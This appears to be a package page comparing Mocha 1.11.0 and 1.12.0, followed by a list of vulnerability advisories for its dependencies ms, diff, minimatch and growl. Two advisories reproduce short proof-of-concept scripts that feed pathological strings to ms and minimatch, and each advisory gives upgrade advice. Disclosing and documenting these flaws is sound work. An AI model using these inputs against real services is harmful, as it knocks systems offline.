Mocha, a simple, flexible, and fun test framework, saw a release of version 1.12.0 on July 1st, 2013, succeeding the earlier stable version 1.11.0 released on June 12th, 2013. While the core dependencies remain consistent between the two versions, including crucial libraries like ms, diff, glob, jade, debug, growl, mkdirp, and commander, developers should be aware of the improvements and potential bug fixes incorporated in the newer iteration. Both versions rely on the same development dependencies should and coffee-script which are useful while developing using mocha.
For developers already using Mocha, upgrading to 1.12.0 is likely a beneficial move to leverage any performance enhancements or resolved issues. Checking the changelog or release notes associated with version 1.12.0 is highly recommended to understand the specific changes. If you are starting a new project, 1.12.0 is the better option because it is the latest stable. Although the core dependencies remain unchanged, the more recent release date suggests potential incremental improvements or bug fixes that could contribute to a smoother testing experience. Both versions share the same repository, author, and general description, indicating a continuous evolution of the Mocha framework under the same maintainership.
All the vulnerabilities related to the version 1.12.0 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.

Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.
